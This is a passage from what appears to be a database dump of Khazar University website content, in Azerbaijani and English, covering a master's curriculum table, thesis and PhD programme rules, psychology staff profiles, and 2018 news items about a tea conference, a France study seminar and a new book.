mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">MATH 820</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Statistika və ekonometrika</p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">ECON 830</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">İdarəetmənin iqtisadiyyatı</p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">MGT 860</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Strateji idarəetmə</p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">MKT 850</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Beynəlxalq marketinq</p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\" style=\"\" width:117.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.8pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">MGT 828</p>\r\n  </td>\r\n  <td width=\"266\" style=\"\" width:199.35pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.8pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Beynəlxalq menecment</p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\" style=\"\" width:117.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.8pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">MGT 870</p>\r\n  </td>\r\n  <td width=\"266\" style=\"\" width:199.35pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.8pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Modelləşdirmə və optimallaşdırma</p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">ECON 825</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Dövlət sektorunun iqtisadiyyatı</p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">ECON 840</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">İqtisadi inkişaf</p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">ECON 845</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">İnsan qaynaqları və əmək bazarı</p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">FIN 845</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Beynəlxalq maliyyə</p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">FIN 855</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Vergiqoyma və vergi siyasəti</p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">ECON 855</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Makroiqtisadi analiz və proqnozlaşdırma</p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">ECON 880</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Beynəlxalq ticarət</p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">Seçmə fənlər</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">6</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\" style=\"\" width:117.0pt;border-top:solid=\"\" windowtext=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.5pt;border-right:none;background:#e5e5e5;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:justify;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>CƏMİ</strong></p>\r\n  </td>\r\n  <td width=\"266\" style=\"\" width:199.35pt;border-top:solid=\"\" windowtext=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.5pt;border-right:none;background:#e5e5e5;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:justify;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td style=\"\" border-top:solid=\"\" windowtext=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.5pt;border-right:none;background:#e5e5e5;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:right;line-height:12.65pt\";margin-bottom:auto\"=\"\"><strong>45</strong></p>\r\n  </td>\r\n </tr>\r\n</tbody></table>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;line-height:normal\"\"=\"\">QEYD: Fakültə digər alternativ fənlər təklif\r\nedə bilər.</p>\r\n<p style=\"\" margin-top:10.0pt;margin-right:0in;margin-bottom:10.0pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:10.0pt;margin-right:0in;margin-bottom:10.0pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\"><strong>Magistr\r\ntezisi</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\">Magistr proqramında nəzərdə tutulmuş 15 fənnin\r\nikisini 6 kreditlik tezis ilə əvəz etmək olar.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\">Tezisə qoyulan tələblər və müdafiə qaydaları\r\nuniversitetin “Magistratura haqqında əsasnamə”sində ətraflı açıqlanıb.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Digər universitetlərdə toplanılmış kreditlərin\r\nqəbul edilməsi qaydaları</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\">Magistr tələbə başqa ali məktəblərdə uyğun\r\nmagistr proqramında topladığı kreditlərin köçürülməsi barədə müraciət edə\r\nbilər. Kreditlərin köçürülməsi barədə qərarı ixtisas kafedrasının təqdimatı\r\nəsasında fakültə dekanı verir. Köçürülən kreditlərin sayı proqramın 50%-dən çox\r\nola bilməz. Ancaq “B” və daha yüksək qiymətlər olan fənlərin köçürülməsinə\r\nicazə verilir. Kreditlərin köçürülməsinə dair ətraflı məlumat universitə\r\nkataloqunun “Ümumi qaydalar və prosedurlar” bölməsində verilib.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"=\"\"><strong>PhD Proqramları</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Məqsədlər və gözləmələr</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\">PhD proqramının əsas məqsədi iddiaçıların\r\niqtisadi və biznes araşdırmaları sahəsində bacarıqlarının yüksək səviyyədə\r\ninkişaf etdirilməsidir. Bu məqsədi nail olmaq üçün tələbələrə ixtisaslaşdığı\r\nsahədə dərin nəzəri bilikləri əldə etmək, uyğun tədqiqat metodologiyasına və\r\nkəmiyyət üsullarına yiyələnmək imkanları verilir. PhD proqramında təhsil alan\r\ntələbələrin baza bilikləri və məqsədlərindən asılı olaraq müxtəlif fərdi\r\nyanaşmalardan istifadə edilir.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\">PhD proqramı üzrə təhsil alan tələbələr\r\napardıqları tədqiqatda peşə biliklərini, səriştə və məharətlərini nümayiş\r\netdirməlidirlər. İmtahanların nəticələri, kurs işlərinin müdafiəsi, tədqiqatlar\r\nvə müvafiq hesabatlar tələbələrin biliklərinin dərinliyini, əhatə dairəsinin\r\ngenişliyini və elmi yaradıcılıq məharətini təsdiq etməlidir.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\">PhD\r\ntələbəsi ən azı 7 fənn olmaqla və dissertasiya da daxil olmaqla 32-60 kredit\r\ntoplamalıdır. Xüsusi hallarda daha çox kreditlərin toplanılması tələb oluna\r\nbilər. Tələbənin orta qiyməti 80 və daha yüksək olmalıdır.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\">Tədqiqat\r\nsahələri Maliyyə, Menecment və İqtisadiyyatdır.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Tədris\r\nproqramı</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\">Tədris\r\nproqramı biznesin idarə edilməsini və iqtisadiyyatın müxtəlif istiqamətlərini,\r\ntədqiqat üsulları və ixtisas fənlərini əhatə edir.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><strong>&nbsp;Dissertasiya</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\">Dissertasiyaya\r\nqoyulan tələblər və müdafiə qaydaları “Doktorantura haqqında əsasnamə”- də\r\nətraflı şərh olunur.&nbsp;</p>\r\n<p>&nbsp;</p>  <p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><br></p><p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><br></p><p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><br></p><p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><br></p><p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><br></p><p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><br></p><p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><br></p><p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><br></p><p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><br></p><p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><br></p><p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><br></p><p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><br></p><p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><br></p><p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><br></p><p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><br></p><p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><br></p>'),(2454,1485,'en','Staff','Staff','<p>\r\n<img src=\"/files/social/foto/melek.JPG\" style=\"margin:7px;float:left;width:150px;height:154px\"><strong style=\"color:#3366ff;text-align:left\"><a href=\"http://www.khazar.org/files/pdf/MELEK%20KERIMOVA%20CV.pdf\">Malak Karimova</a></strong>\r\n</p>\r\n<p style=\"text-align:left\"><strong>Director of Khazar Psychological Center</strong></p>\r\n<p style=\"text-align:left\">PhD candidate in Social Philosophy (Khazar University, Azerbaijan)<br></p><p style=\"text-align:left;padding-left:160px\">MS in&nbsp;Guidance and Psychological Counselor (Hacettepe University,<br>Turkey)  </p><p style=\"text-align:left;padding-left:160px\">BS in&nbsp;Guidance and Psychological Counselor (Hacettepe University,&nbsp;Turkey)</p><p style=\"text-align:justify;padding-left:160px\"><strong>E-mail</strong>:&nbsp;<a href=\"mailto:mkerimova@khazar.org\">mkerimova[at]khazar.org</a>  <a href=\"http://mkerimova@khazar.org/\"></a></p><p style=\"text-align:justify;padding-left:160px\"><strong>Phone</strong>:&nbsp;(+994&nbsp;12) 421 10 93 (275)</p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/social/foto/T.%20Javadzade%20CV%2012%20(1).pdf\"><img src=\"/files/psycho_depart/images/nilufar_alizada.jpg\" style=\"width:150px;height:226px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a></strong><strong><strong><strong><a href=\"http://www.khazar.org/files/psycho_depart/CV/nilufar_alizada_CV(EN).pdf\">Nilufar Alizada</a></strong></strong></strong><br></p><p>MS in Health Psychology (Coventry University, England)&nbsp;</p><p>BS in Psychology (Khazar University, Azerbaijan)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"http://mkerimova@khazar.org/\"></a><a href=\"mailto:nalizada@khazar.org\">nalizada[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>'),(6263,3566,'az','Xəzər Universitetinin əməkdaşı Birinci Beynəlxalq Kakao Qəhvə və Çay Asiya-2018 Konfransına qatılmışdır','2018-ci il oktyabrın 17-dən 20-dək Xəzər Universitetinin Elmi İşlər üzrə prorektoru və Bioloji elmlər departamentinin...','<p>2018-ci il oktyabrın 17-dən 20-dək Xəzər Universitetinin Elmi işlər üzrə prorektoru və Bioloji elmlər departamentinin müdiri dosent İradə Xəlilova Çinin Heifei şəhərində keçirilən Birinci Beynəlxalq Kakao Qəhvə və Çay Aşıya-2018 (First International Congress on Cocoa Coffee and Tea Asia-2018 –CoCoTea Asia-2018) Konqresində dəvət olunmuş mütəxəssis kimi iştirak etdi və məruzəçi kimi çıxış etdi. Konfrans Dövlət Çay Bitkisı Biologiyası aparıcı laboratoriyası və Çinin Anhui Kənd Təsərrüfatı Universiteti tərəfindən təşkil edilmişdi.</p><p>Birinci Beynəlxalq Kakao Qəhvə və Çay Asiya-2018 Konqresi tədqiqatçılar üçün çay, qəhvə və kakaonun, həmçinin, bunların biologiya, kimya, texnologiya, metabolomiya, qidalanma və sağlamlıq, keyfiyyət və təhlükəsizlik nəzarəti kimi sahələrdə innovativ elmi nailiyyətlərini müzakirə etmək imkanı yaratdı. Konfransda dəvət olunmuş 100-dən çox beynəlxalq məruzəçi iştirak edirdi.</p><p>Dosent İradə Xəlilova “<em>Qafqaz çayı: tarixi, mədəniyyəti və sağlamlıq üstünlükləri haqqında tədqiqatlar</em>” mövzusunda təqdimat verdi. Konfransda, həmçinin, elmi əməkdaşlıq təlimi təşkil edildi. Bu təlimdə Çinin Anhui Kənd Təsərrüfatı Universiteti və Xəzər Universiteti arasında elmi tədqiqat layihələri üzrə Çin tərəfdən layihə meneceri dosent Jinbao Huang və Xəzər Universiteti tərəfindən dosent İradə Xəlilova Əməkdaşlıq müqaviləsi imzaladılar.</p><p>Konfransın son günündə iki ölkə –Hindistan (Hindistan Dövlət Kənd Təsərrüfatı Nazirliyi) və Azərbaycan (Xəzər Universiteti) növbəti Beynəlxalq Kakao Qəhvə və Çay Asiya-2020 Konqresinin keçirilməsi üçün seçildilər. Hər iki ölkənin nümayəndələri təşkilatları haqqında çıxışlar etdilər. Dos. İ.Xəlilova növbəti konfransın Azərbaycanda –Xəzər Universitetində keçirilməsi barədə xoş məramla çıxış edərək, Azərbaycanın Avrasiya regionunda yerləşməsinin əhəmiyyətindən, həmçinin Xəzər Universitetinin təcrübəsi, onun strategiyası və mühüm nailiyyətləri haqqında danışdı.</p>'),(6264,3566,'en','Khazar University staff member participated in First International Conference on Cocoa Coffee and Tea Asia 2018','On October 17-20, 2018, Assoc. Prof. Irada Khalilova, Vice-Rector for Research and Acting Head of Department...','<p>On October 17-20, 2018, Assoc.Prof. Irada Khalilova, Vice-Rector for Research and Acting Head of the Department of Biological Sciences attended, as an invited speaker, the First International Congress on Cocoa Coffee and Tea Asia 2018 (CoCoTea Asia-2018) in Hefei, China. This conference was organized by the State Key Laboratory Tea Plant Biology and Utilization, and Anhui Agricultural University of China.</p><p>The First International Congress on Cocoa Coffee and Tea Asia 2018 offered an inter-disciplinary opportunity for scientists to discuss different areas of Tea, Coffee, and Cocoa, and to report innovative scientific achievements in such areas like Biology, Chemistry, Technology, Metabolomics, Nutrition and Health, Quality &amp; Safety Control. More than 100 international invited speakers attended the conference.</p><p>Assoc. Prof. Irada Khalilova delivered a presentation on “<em>The Caucasian Tea: History, Culture and Research on Health Benefits</em>”. The conference organized a training session, where the Cooperation agreement on scientific research projects between Anhui Agricultural University, China and Khazar University, Azerbaijan was signed by the Project Managers from both sides - Assoc.Prof. Jinbao Huang and Assoc. Prof. Irada Khalilova.</p><p>On the last day of the conference, the two countries – India (Ministry of Agriculture and Farmers’ Welfare of India) and Azerbaijan (Khazar University) were selected to host the Second International Congress on Cocoa Coffee and Tea Asia 2020. Representatives from both countries delivered a speech about their organizations. Assoc. Prof. Irada Khalilova delivered a welcome speech for hosting the next conference and talked about the important location of Azerbaijan for the whole Eurasian region and the experience of Khazar University, its strategic vision and important achievements.</p>'),(6276,3572,'en','“Study opportunities in France” seminar was held at Khazar University','On October 26, 2018, Political Science and International Relations department organized a seminar...','<p>On October 26, 2018, Political Science and International Relations department organized a seminar on “Study opportunities in France” for the students of the Humanities and Social Sciences Faculty of Khazar University. The seminar was held by Ms. Raab Maureen, the representative of the Campus France Agency in Azerbaijan. During the seminar, the students were informed about French educational system, study opportunities in France, accommodation, costs of living, health insurance while studying in France, scholarship programs for Master and Bachelor degrees. In addition, Ms. Maureen gave information about online and distant programs as well as internship opportunities in France.</p><p>The seminar was concluded by welcoming questions from the audience.</p>'),(6277,3573,'az','Mövlud Süleymanlının yeni kitabı işıq üzü gördü','Görkəmli yazıçı, ədəbiyyatşünas, xalq yazıçısı Mövlud Süleymanlının indiyə qədər çap olunmamış...','<p>Görkəmli yazıçı, ədəbiyyatşünas, xalq yazıçısı&nbsp;Mövlud Süleymanlının indiyə qədər çap olunmamış məktubları, qeydləri, resenziyaları, şeirləri, məqalə və çıxışlarından ibarət olan “Üzü sənə” adlı iki cildlik toplusu nəşr edilib.</p><p>Qeyd etmək lazımdır ki, bu kitabın birinci cildində Mövlud Süleymanlının Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının “Təzadlar” kitabı haqqında fikirləri də yer almışdır.</p>'),(6278,3573,'en','Movlud Suleymanli’s New Book Published','A two-volume collection “Uzu Sene” (literally “Towards You”) by Movlud Suleymanli, a notable writer...','<p>A two-volume collection “Uzu Sene” (literally “Towards You”) by Movlud Suleymanli, a notable writer, literary critic and poet, was published. M.Suleymanli’s unpublished letters, notes, references, poems, articles and speeches were collected in the book.</p><p>It should be noted that in the first volume of this book, Professor Suleymanli included valuable insights from Hamlet Isakhanli\'s book, entitled “The Contrasts”.</p>'),(2455,1485,'az','İşçi heyət','İşçi heyət','<p><img src=\"http://www.khazar.org/files/social/foto/melek.JPG\" style=\"border:0px  #000000;margin:0px 7px 7px;float:left;width:150px;height:155px\"><strong style=\"font-size:large\"><a href=\"http://www.khazar.org/files/pdf/MELEK%20KERIMOVA%20CV.pdf\" style=\"font-size:large\">Mələk Kərimova</a></strong></p><p style=\"font-weight:bold\">Psixologiya&nbsp;Departamentinin koordinatoru&nbsp;</p><p style=\"font-weight:bold\"><strong>Xəzər Psixoloji Xidmət Mərkəzinin direktoru</strong></p><p>Sosial fəlsəfə&nbsp;ixtisası üzrə PhD namizəd<br>(Xəzər Universiteti, Azərbaycan)</p><p style=\"padding-left:160px\">Psixoloji xidmət və rəhbərlik ixtisası üzrə magistr<br>(Hacettepe,&nbsp;Universiteti, Türkiyə)</p><p style=\"padding-left:160px\">Psixoloji xidmət və rəhbərlik ixtisası üzrə bakalavr<br>(Hacettepe,&nbsp;Universiteti, Türkiyə)  </p><p style=\"padding-left:160px\"><strong>E-mail:</strong>&nbsp;<a href=\"mailto:mkerimova@khazar.org\">mkerimova[at]khazar.org</a>  <a href=\"http://mkerimova@khazar.org\"></a></p><p style=\"padding-left:160px\"><strong>Telefon</strong>:&nbsp;(+994&nbsp;12) 421 10 93 (275)&nbsp;</p>\r\n<hr>  \r\n<p 